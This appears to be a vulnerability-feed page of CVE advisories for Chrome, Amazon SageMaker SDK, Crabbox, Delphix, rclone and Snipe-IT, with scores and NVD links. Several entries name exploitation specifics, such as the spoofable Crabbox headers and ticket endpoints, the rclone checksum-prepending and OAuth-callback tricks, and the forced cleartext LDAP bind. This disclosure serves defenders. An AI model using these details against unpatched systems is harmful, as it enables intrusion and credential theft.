### Use after free in Core in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox...
https://kevwire.com/record/CVE-2026-8574
Use after free in Core in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox... (May 14, 2026).
Use after free in Core in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8574).
Sources:
NVD CVE-2026-8574: https://nvd.nist.gov/vuln/detail/CVE-2026-8574
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in Core in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a...
https://kevwire.com/record/CVE-2026-8575
Use after free in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a... (May 14, 2026).
Use after free in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8575).
Sources:
NVD CVE-2026-8575: https://nvd.nist.gov/vuln/detail/CVE-2026-8575
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow in Fonts in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8577
Integer overflow in Fonts in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (May 14, 2026).
Integer overflow in Fonts in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8577).
Sources:
NVD CVE-2026-8577: https://nvd.nist.gov/vuln/detail/CVE-2026-8577
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Integer overflow in Fonts in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Mojo in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page.
https://kevwire.com/record/CVE-2026-8580
Use after free in Mojo in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (May 14, 2026).
Use after free in Mojo in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8580).
Sources:
NVD CVE-2026-8580: https://nvd.nist.gov/vuln/detail/CVE-2026-8580
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in Mojo in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Inappropriate implementation in Media in Google Chrome on iOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of...
https://kevwire.com/record/CVE-2026-8585
Inappropriate implementation in Media in Google Chrome on iOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of... (May 14, 2026).
Inappropriate implementation in Media in Google Chrome on iOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8585).
Sources:
NVD CVE-2026-8585: https://nvd.nist.gov/vuln/detail/CVE-2026-8585
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Inappropriate implementation in Media in Google Chrome on iOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Extensions in Google Chrome on Mac prior to 148.0.7778.168 allowed an attacker who convinced a user to install a malicious extension to execute arbitrary code...
https://kevwire.com/record/CVE-2026-8587
Use after free in Extensions in Google Chrome on Mac prior to 148.0.7778.168 allowed an attacker who convinced a user to install a malicious extension to execute arbitrary code... (May 14, 2026).
Use after free in Extensions in Google Chrome on Mac prior to 148.0.7778.168 allowed an attacker who convinced a user to install a malicious extension to execute arbitrary code via a crafted Chrome Extension. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8587).
Sources:
NVD CVE-2026-8587: https://nvd.nist.gov/vuln/detail/CVE-2026-8587
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Use after free in Extensions in Google Chrome on Mac prior to 148.0.7778.168 allowed an attacker who convinced a user to install a malicious extension to execute arbitrary code via a crafted Chrome Extension. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cleartext storage of sensitive information in the ModelBuilder/Serve component in Amazon SageMaker Python SDK before v2.257.2 and v3 before v3.8.0 might allow a remote...
https://kevwire.com/record/CVE-2026-8596
Cleartext storage of sensitive information in the ModelBuilder/Serve component in Amazon SageMaker Python SDK before v2.257.2 and v3 before v3.8.0 might allow a remote... (May 14, 2026).
Cleartext storage of sensitive information in the ModelBuilder/Serve component in Amazon SageMaker Python SDK before v2.257.2 and v3 before v3.8.0 might allow a remote authenticated actor to extract the HMAC signing key from SageMaker API responses and forge valid integrity signatures for specially crafted model artifacts, achieving code execution in inference containers. This issue requires a remote authenticated actor with permissions to call SageMaker describe APIs and S3 write access to the model artifact path.



To remediate this issue, we recommend upgrading to Amazon SageMaker Python SDK v2.257.2 or v3.8.0 and rebuild any models previously created with ModelBuilder using the updated SDK.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8596).
Sources:
NVD CVE-2026-8596: https://nvd.nist.gov/vuln/detail/CVE-2026-8596
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Cleartext storage of sensitive information in the ModelBuilder/Serve component in Amazon SageMaker Python SDK before v2.257.2 and v3 before v3.8.0 might allow a remote authenticated actor to extract the HMAC signing key from SageMaker API responses and forge valid integrity signatures for specially crafted model artifacts, achieving code execution in inference containers. This issue requires a remote authenticated actor with permissions to call SageMaker describe APIs and S3 write access to the model artifact path.



To remediate this issue, we recommend upgrading to Amazon SageMaker Python SDK v2.257.2 or v3.8.0 and rebuild any models previously created with ModelBuilder using the updated SDK.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing integrity verification in the Triton inference handler in Amazon SageMaker Python SDK v2 before v2.257.2 and v3 before v3.8.0 might allow a remote authenticated actor to...
https://kevwire.com/record/CVE-2026-8597
Missing integrity verification in the Triton inference handler in Amazon SageMaker Python SDK v2 before v2.257.2 and v3 before v3.8.0 might allow a remote authenticated actor to... (May 14, 2026).
Missing integrity verification in the Triton inference handler in Amazon SageMaker Python SDK v2 before v2.257.2 and v3 before v3.8.0 might allow a remote authenticated actor to achieve code execution in inference containers via replacement of model artifacts in S3 with a specially crafted pickle payload that is deserialized without verification. This issue requires a remote authenticated actor with S3 write access to the model artifact path.



To remediate this issue, we recommend upgrading to Amazon SageMaker Python SDK v2.257.2 or v3.8.0 and rebuild any Triton models previously created with ModelBuilder using the updated SDK.
CVSS 6.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8597).
Sources:
NVD CVE-2026-8597: https://nvd.nist.gov/vuln/detail/CVE-2026-8597
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Missing integrity verification in the Triton inference handler in Amazon SageMaker Python SDK v2 before v2.257.2 and v3 before v3.8.0 might allow a remote authenticated actor to achieve code execution in inference containers via replacement of model artifacts in S3 with a specially crafted pickle payload that is deserialized without verification. This issue requires a remote authenticated actor with S3 write access to the model artifact path.



To remediate this issue, we recommend upgrading to Amazon SageMaker Python SDK v2.257.2 or v3.8.0 and rebuild any Triton models previously created with ModelBuilder using the updated SDK.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Crabbox prior to v0.12.0 contains an authentication bypass vulnerability that allows non-admin shared-token callers to impersonate other owners or organizations by spoofing...
https://kevwire.com/record/CVE-2026-8621
Crabbox prior to v0.12.0 contains an authentication bypass vulnerability that allows non-admin shared-token callers to impersonate other owners or organizations by spoofing... (May 14, 2026).
Crabbox prior to v0.12.0 contains an authentication bypass vulnerability that allows non-admin shared-token callers to impersonate other owners or organizations by spoofing identity headers. Attackers can inject malicious X-Crabbox-Owner and X-Crabbox-Org headers in requests authenticated with a shared token to bypass authorization checks and access owner/org-scoped lease operations belonging to victim accounts.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8621).
Sources:
NVD CVE-2026-8621: https://nvd.nist.gov/vuln/detail/CVE-2026-8621
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Crabbox prior to v0.12.0 contains an authentication bypass vulnerability that allows non-admin shared-token callers to impersonate other owners or organizations by spoofing identity headers. Attackers can inject malicious X-Crabbox-Owner and X-Crabbox-Org headers in requests authenticated with a shared token to bypass authorization checks and access owner/org-scoped lease operations belonging to victim accounts.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Crabbox prior to v0.12.0 contains a privilege escalation vulnerability that allows users with shared visibility-only access to obtain Code, WebVNC, and Egress agent tickets by...
https://kevwire.com/record/CVE-2026-8629
Crabbox prior to v0.12.0 contains a privilege escalation vulnerability that allows users with shared visibility-only access to obtain Code, WebVNC, and Egress agent tickets by... (May 14, 2026).
Crabbox prior to v0.12.0 contains a privilege escalation vulnerability that allows users with shared visibility-only access to obtain Code, WebVNC, and Egress agent tickets by sending POST requests to ticket endpoints. Attackers can exploit insufficient access control checks on the /v1/leases/:id/code/ticket, /v1/leases/:id/webvnc/ticket, and /v1/leases/:id/egress/ticket endpoints to obtain bridge-agent tickets and impersonate trusted lease-side bridges despite having only visibility permissions.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8629).
Sources:
NVD CVE-2026-8629: https://nvd.nist.gov/vuln/detail/CVE-2026-8629
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Crabbox prior to v0.12.0 contains a privilege escalation vulnerability that allows users with shared visibility-only access to obtain Code, WebVNC, and Egress agent tickets by sending POST requests to ticket endpoints. Attackers can exploit insufficient access control checks on the /v1/leases/:id/code/ticket, /v1/leases/:id/webvnc/ticket, and /v1/leases/:id/egress/ticket endpoints to obtain bridge-agent tickets and impersonate trusted lease-side bridges despite having only visibility permissions.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Crabbox prior to v0.12.0 contains an environment variable exposure vulnerability that allows attackers with access to a malicious or compromised repository to forward local...
https://kevwire.com/record/CVE-2026-8634
Crabbox prior to v0.12.0 contains an environment variable exposure vulnerability that allows attackers with access to a malicious or compromised repository to forward local... (May 14, 2026).
Crabbox prior to v0.12.0 contains an environment variable exposure vulnerability that allows attackers with access to a malicious or compromised repository to forward local secrets such as API tokens, cloud credentials, and broker tokens into the remote command environment. Attackers can exploit overly permissive environment variable allowlisting in repo-local Crabbox configuration to serialize sensitive environment variables into remote command execution, exposing credentials to the remote environment.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8634).
Sources:
NVD CVE-2026-8634: https://nvd.nist.gov/vuln/detail/CVE-2026-8634
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Crabbox prior to v0.12.0 contains an environment variable exposure vulnerability that allows attackers with access to a malicious or compromised repository to forward local secrets such as API tokens, cloud credentials, and broker tokens into the remote command environment. Attackers can exploit overly permissive environment variable allowlisting in repo-local Crabbox configuration to serialize sensitive environment variables into remote command execution, exposing credentials to the remote environment.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Delphix Continuous Data connectors allows an authenticated user to execute arbitrary operating system commands on the staging or target host.
https://kevwire.com/record/CVE-2026-8654
Improper input validation in Delphix Continuous Data connectors allows an authenticated user to execute arbitrary operating system commands on the staging or target host. (May 15, 2026).
Improper input validation in Delphix Continuous Data connectors allows an authenticated user to execute arbitrary operating system commands on the staging or target host.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8654).
Sources:
NVD CVE-2026-8654: https://nvd.nist.gov/vuln/detail/CVE-2026-8654
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Improper input validation in Delphix Continuous Data connectors allows an authenticated user to execute arbitrary operating system commands on the staging or target host.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### rclone from 1.55.0 before 1.75.2 contains a signature verification bypass in stable selfupdate that trusts checksums from unsigned bytes preceding the PGP-clearsigned SHA256SUMS...
https://kevwire.com/record/CVE-2026-116189
rclone from 1.55.0 before 1.75.2 contains a signature verification bypass in stable selfupdate that trusts checksums from unsigned bytes preceding the PGP-clearsigned SHA256SUMS... (Oct 25, 2026).
rclone from 1.55.0 before 1.75.2 contains a signature verification bypass in stable selfupdate that trusts checksums from unsigned bytes preceding the PGP-clearsigned SHA256SUMS block. Attackers controlling the release distribution path can prepend an unsigned checksum line matching a malicious archive, causing selfupdate to install an attacker-controlled rclone executable.
CVSS 7.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116189).
Sources:
NVD CVE-2026-116189: https://nvd.nist.gov/vuln/detail/CVE-2026-116189
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
rclone from 1.55.0 before 1.75.2 contains a signature verification bypass in stable selfupdate that trusts checksums from unsigned bytes preceding the PGP-clearsigned SHA256SUMS block. Attackers controlling the release distribution path can prepend an unsigned checksum line matching a malicious archive, causing selfupdate to install an attacker-controlled rclone executable.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### rclone from 1.37 before 1.74.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to redirect http and netstorage backend requests by...
https://kevwire.com/record/CVE-2026-116192
rclone from 1.37 before 1.74.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to redirect http and netstorage backend requests by... (Oct 25, 2026).
rclone from 1.37 before 1.74.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to redirect http and netstorage backend requests by supplying a double-slash root on an existing named remote via --rc-serve. Attackers can make HEAD/GET requests to attacker-chosen hosts to read responses, capture configured custom headers, or obtain valid NetStorage request signatures.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116192).
Sources:
NVD CVE-2026-116192: https://nvd.nist.gov/vuln/detail/CVE-2026-116192
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
rclone from 1.37 before 1.74.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to redirect http and netstorage backend requests by supplying a double-slash root on an existing named remote via --rc-serve. Attackers can make HEAD/GET requests to attacker-chosen hosts to read responses, capture configured custom headers, or obtain valid NetStorage request signatures.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Rclone from 1.52.0 before 1.75.2 contains a cross-site request forgery vulnerability in the pCloud backend's localhost OAuth callback, which disables the state check and trusts...
https://kevwire.com/record/CVE-2026-116194
Rclone from 1.52.0 before 1.75.2 contains a cross-site request forgery vulnerability in the pCloud backend's localhost OAuth callback, which disables the state check and trusts... (Oct 25, 2026).
Rclone from 1.52.0 before 1.75.2 contains a cross-site request forgery vulnerability in the pCloud backend's localhost OAuth callback, which disables the state check and trusts the hostname parameter. Malicious web pages can send a stateless request to port 53682 during authorization, planting attacker tokens and API hosts so later transfers reach the attacker.
CVSS 7.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116194).
Sources:
NVD CVE-2026-116194: https://nvd.nist.gov/vuln/detail/CVE-2026-116194
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
Rclone from 1.52.0 before 1.75.2 contains a cross-site request forgery vulnerability in the pCloud backend's localhost OAuth callback, which disables the state check and trusts the hostname parameter. Malicious web pages can send a stateless request to port 53682 during authorization, planting attacker tokens and API hosts so later transfers reach the attacker.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Snipe-IT before 8.6.3 ignores the ldap_start_tls() return value in Ldap::connectToLdap(), allowing on-path attackers to force cleartext LDAP binds.
https://kevwire.com/record/CVE-2026-116200
Snipe-IT before 8.6.3 ignores the ldap_start_tls() return value in Ldap::connectToLdap(), allowing on-path attackers to force cleartext LDAP binds. (Oct 25, 2026).
Snipe-IT before 8.6.3 ignores the ldap_start_tls() return value in Ldap::connectToLdap(), allowing on-path attackers to force cleartext LDAP binds. Attackers can answer the StartTLS request with a protocol error to capture service-account credentials and end-user login passwords.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116200).
Sources:
NVD CVE-2026-116200: https://nvd.nist.gov/vuln/detail/CVE-2026-116200
